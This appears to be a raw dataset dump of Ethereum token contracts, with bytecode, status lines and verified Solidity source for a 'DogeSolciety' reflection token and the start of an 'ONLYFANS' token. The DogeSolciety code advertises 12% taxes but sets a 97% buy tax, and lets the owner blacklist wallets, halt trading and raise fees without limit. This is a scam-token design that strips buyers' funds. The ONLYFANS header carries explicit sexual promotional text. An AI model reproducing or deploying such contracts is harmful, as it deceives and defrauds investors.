fffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201f7f93e2baf332f394f944b0700852150db6f711185d5f95d055724e5af3782c64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,397
0x4412305AEA90Ca5b86C4301d2E8777B228075034
/** *Submitted for verification at Etherscan.io on 2022-04-08 */ /* Taxes are 12% buy and sell DOGE SOLCIETY OFFICIAL TELEGRAM - OPEN AT 50K OFFICIAL TWITTER - https://twitter.com/dogesolciety OFFICIAL DISCORD - https://discord.gg/uN2c6jvXUp OFFICIAL WEBSITE - https://dogesolciety.com/ * * * SPDX-License-Identifier: Unlicensed * */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DogeSolciety is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Ananke"; string private constant _symbol = "Ananke"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 1e9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x5a977afe5a8b82D28e7e92e0786E361B45aEe5F2); address payable private _marketingAddress = payable(0x5a977afe5a8b82D28e7e92e0786E361B45aEe5F2); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 1e9; uint256 public _maxWalletSize = 200000 * 1e9; uint256 public _swapTokensAtAmount = 200000 * 1e9; event MaxTxAmountUpdated(uint256 _maxTxAmount); constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); // bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } // if (canSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { // swapTokensForEth(contractTokenBalance); // uint256 contractETHBalance = address(this).balance; // if (contractETHBalance > 0) { // sendETHToFee(address(this).balance); // } // } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104455780638f9a55c01461046557806395d89b41146101fe57806398a5c3151461047b57600080fd5b80637d1db4a5146103e45780637f2feddc146103fa5780638da5cb5b1461042757600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037a57806370a082311461038f578063715018a6146103af57806374010ece146103c457600080fd5b8063313ce567146102fe57806349bd5a5e1461031a5780636b9990531461033a5780636d8aa8f81461035a57600080fd5b80631694505e116101ab5780631694505e1461026c57806318160ddd146102a457806323b872dd146102c85780632fd689e3146102e857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461183f565b6105c6565b005b34801561020a57600080fd5b506040805180820182526006815265416e616e6b6560d01b602082015290516102339190611904565b60405180910390f35b34801561024857600080fd5b5061025c610257366004611959565b610665565b6040519015158152602001610233565b34801561027857600080fd5b5060145461028c906001600160a01b031681565b6040516001600160a01b039091168152602001610233565b3480156102b057600080fd5b50662386f26fc100005b604051908152602001610233565b3480156102d457600080fd5b5061025c6102e3366004611985565b61067c565b3480156102f457600080fd5b506102ba60185481565b34801561030a57600080fd5b5060405160098152602001610233565b34801561032657600080fd5b5060155461028c906001600160a01b031681565b34801561034657600080fd5b506101fc6103553660046119c6565b6106e5565b34801561036657600080fd5b506101fc6103753660046119f3565b610730565b34801561038657600080fd5b506101fc610778565b34801561039b57600080fd5b506102ba6103aa3660046119c6565b6107c3565b3480156103bb57600080fd5b506101fc6107e5565b3480156103d057600080fd5b506101fc6103df366004611a0e565b610859565b3480156103f057600080fd5b506102ba60165481565b34801561040657600080fd5b506102ba6104153660046119c6565b60116020526000908152604090205481565b34801561043357600080fd5b506000546001600160a01b031661028c565b34801561045157600080fd5b506101fc6104603660046119f3565b610888565b34801561047157600080fd5b506102ba60175481565b34801561048757600080fd5b506101fc610496366004611a0e565b6108d0565b3480156104a757600080fd5b506101fc6104b6366004611a27565b6108ff565b3480156104c757600080fd5b5061025c6104d6366004611959565b61093d565b3480156104e757600080fd5b5061025c6104f63660046119c6565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101fc61094a565b34801561052c57600080fd5b506101fc61053b366004611a59565b61099e565b34801561054c57600080fd5b506102ba61055b366004611add565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101fc6105a1366004611a0e565b610a3f565b3480156105b257600080fd5b506101fc6105c13660046119c6565b610a6e565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611b16565b60405180910390fd5b60005b81518110156106615760016010600084848151811061061d5761061d611b4b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065981611b77565b9150506105fc565b5050565b6000610672338484610b58565b5060015b92915050565b6000610689848484610c7c565b6106db84336106d685604051806060016040528060288152602001611c91602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110fe565b610b58565b5060019392505050565b6000546001600160a01b0316331461070f5760405162461bcd60e51b81526004016105f090611b16565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075a5760405162461bcd60e51b81526004016105f090611b16565b60158054911515600160a81b0260ff60a81b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ad57506013546001600160a01b0316336001600160a01b0316145b6107b657600080fd5b476107c081611138565b50565b6001600160a01b03811660009081526002602052604081205461067690611172565b6000546001600160a01b0316331461080f5760405162461bcd60e51b81526004016105f090611b16565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108835760405162461bcd60e51b81526004016105f090611b16565b601655565b6000546001600160a01b031633146108b25760405162461bcd60e51b81526004016105f090611b16565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fa5760405162461bcd60e51b81526004016105f090611b16565b601855565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105f090611b16565b600893909355600a91909155600955600b55565b6000610672338484610c7c565b6012546001600160a01b0316336001600160a01b0316148061097f57506013546001600160a01b0316336001600160a01b0316145b61098857600080fd5b6000610993306107c3565b90506107c0816111f6565b6000546001600160a01b031633146109c85760405162461bcd60e51b81526004016105f090611b16565b60005b82811015610a395781600560008686858181106109ea576109ea611b4b565b90506020020160208101906109ff91906119c6565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3181611b77565b9150506109cb565b50505050565b6000546001600160a01b03163314610a695760405162461bcd60e51b81526004016105f090611b16565b601755565b6000546001600160a01b03163314610a985760405162461bcd60e51b81526004016105f090611b16565b6001600160a01b038116610afd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bba5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c1b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d425760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610da45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dd057506000546001600160a01b03838116911614155b15610ff757601554600160a01b900460ff16610e69576000546001600160a01b03848116911614610e695760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ebb5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610efd57506001600160a01b03821660009081526010602052604090205460ff16155b610f555760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610fda5760175481610f77846107c3565b610f819190611b92565b10610fda5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000610fe5306107c3565b90506016548110610ff557506016545b505b6001600160a01b03831660009081526005602052604090205460019060ff168061103957506001600160a01b03831660009081526005602052604090205460ff165b8061106b57506015546001600160a01b0385811691161480159061106b57506015546001600160a01b03848116911614155b15611078575060006110f2565b6015546001600160a01b0385811691161480156110a357506014546001600160a01b03848116911614155b156110b557600854600c55600954600d555b6015546001600160a01b0384811691161480156110e057506014546001600160a01b03858116911614155b156110f257600a54600c55600b54600d555b610a3984848484611350565b600081848411156111225760405162461bcd60e51b81526004016105f09190611904565b50600061112f8486611baa565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610661573d6000803e3d6000fd5b60006006548211156111d95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b60006111e361137e565b90506111ef83826113a1565b9392505050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061122b5761122b611b4b565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611284573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a89190611bc1565b816001815181106112bb576112bb611b4b565b6001600160a01b0392831660209182029290920101526014546112e19130911684610b58565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131a908590600090869030904290600401611bde565b600060405180830381600087803b15801561133457600080fd5b505af1158015611348573d6000803e3d6000fd5b505050505050565b8061135d5761135d6113e3565b611368848484611411565b80610a3957610a39600e54600c55600f54600d55565b600080600061138b611508565b909250905061139a82826113a1565b9250505090565b60006111ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611546565b600c541580156113f35750600d54155b156113fa57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061142387611574565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061145590876115d1565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114849086611613565b6001600160a01b0389166000908152600260205260409020556114a681611672565b6114b084836116bc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114f591815260200190565b60405180910390a3505050505050505050565b6006546000908190662386f26fc1000061152282826113a1565b82101561153d57505060065492662386f26fc1000092509050565b90939092509050565b600081836115675760405162461bcd60e51b81526004016105f09190611904565b50600061112f8486611c4f565b60008060008060008060008060006115918a600c54600d546116e0565b92509250925060006115a161137e565b905060008060006115b48e878787611735565b919e509c509a509598509396509194505050505091939550919395565b60006111ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110fe565b6000806116208385611b92565b9050838110156111ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b600061167c61137e565b9050600061168a8383611785565b306000908152600260205260409020549091506116a79082611613565b30600090815260026020526040902055505050565b6006546116c990836115d1565b6006556007546116d99082611613565b6007555050565b60008080806116fa60646116f48989611785565b906113a1565b9050600061170d60646116f48a89611785565b905060006117258261171f8b866115d1565b906115d1565b9992985090965090945050505050565b60008080806117448886611785565b905060006117528887611785565b905060006117608888611785565b905060006117728261171f86866115d1565b939b939a50919850919650505050505050565b60008261179457506000610676565b60006117a08385611c71565b9050826117ad8583611c4f565b146111ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c057600080fd5b803561183a8161181a565b919050565b6000602080838503121561185257600080fd5b823567ffffffffffffffff8082111561186a57600080fd5b818501915085601f83011261187e57600080fd5b81358181111561189057611890611804565b8060051b604051601f19603f830116810181811085821117156118b5576118b5611804565b6040529182528482019250838101850191888311156118d357600080fd5b938501935b828510156118f8576118e98561182f565b845293850193928501926118d8565b98975050505050505050565b600060208083528351808285015260005b8181101561193157858101830151858201604001528201611915565b81811115611943576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561196c57600080fd5b82356119778161181a565b946020939093013593505050565b60008060006060848603121561199a57600080fd5b83356119a58161181a565b925060208401356119b58161181a565b929592945050506040919091013590565b6000602082840312156119d857600080fd5b81356111ef8161181a565b8035801515811461183a57600080fd5b600060208284031215611a0557600080fd5b6111ef826119e3565b600060208284031215611a2057600080fd5b5035919050565b60008060008060808587031215611a3d57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611a6e57600080fd5b833567ffffffffffffffff80821115611a8657600080fd5b818601915086601f830112611a9a57600080fd5b813581811115611aa957600080fd5b8760208260051b8501011115611abe57600080fd5b602092830195509350611ad491860190506119e3565b90509250925092565b60008060408385031215611af057600080fd5b8235611afb8161181a565b91506020830135611b0b8161181a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b8b57611b8b611b61565b5060010190565b60008219821115611ba557611ba5611b61565b500190565b600082821015611bbc57611bbc611b61565b500390565b600060208284031215611bd357600080fd5b81516111ef8161181a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c2e5784516001600160a01b031683529383019391830191600101611c09565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611c6c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c8b57611c8b611b61565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e4ee64bb11a54c65323f3b827e16a95621e466fc9a3385cf33c58b594302324564736f6c634300080b0033
{"success": true, "error": null, "results": {}}
1,398
0x216286c4528f9320646d99552461ef64051a4b82
/** *Submitted for verification at Etherscan.io on 2022-04-03 */ // SPDX-License-Identifier: Unlicensed /* Enjoy quality live pornography? Well OnlyFans DAO is about to make it even better! As a loving fan of the content subscription service, our founder believes in sharing the joy and create a jubilant world with our fellow appreciators of the erotic art. OnlyFans DAO is built with this vision in mind, with every dollar you invest in our token, we shall invest the transaction tax in subscribing content from your beloved content creator of your choice, through the voting system of the DAO, we shall decide which content creator to subscribe in! Ready for more action of stocking ripping and pussy thrusting? Join Us now! */ //Telegram: OnlyFansDAO //Website: onlyfans-dao.com pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ONLYFANS is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ONLYFANS"; string private constant _symbol = "OF"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); 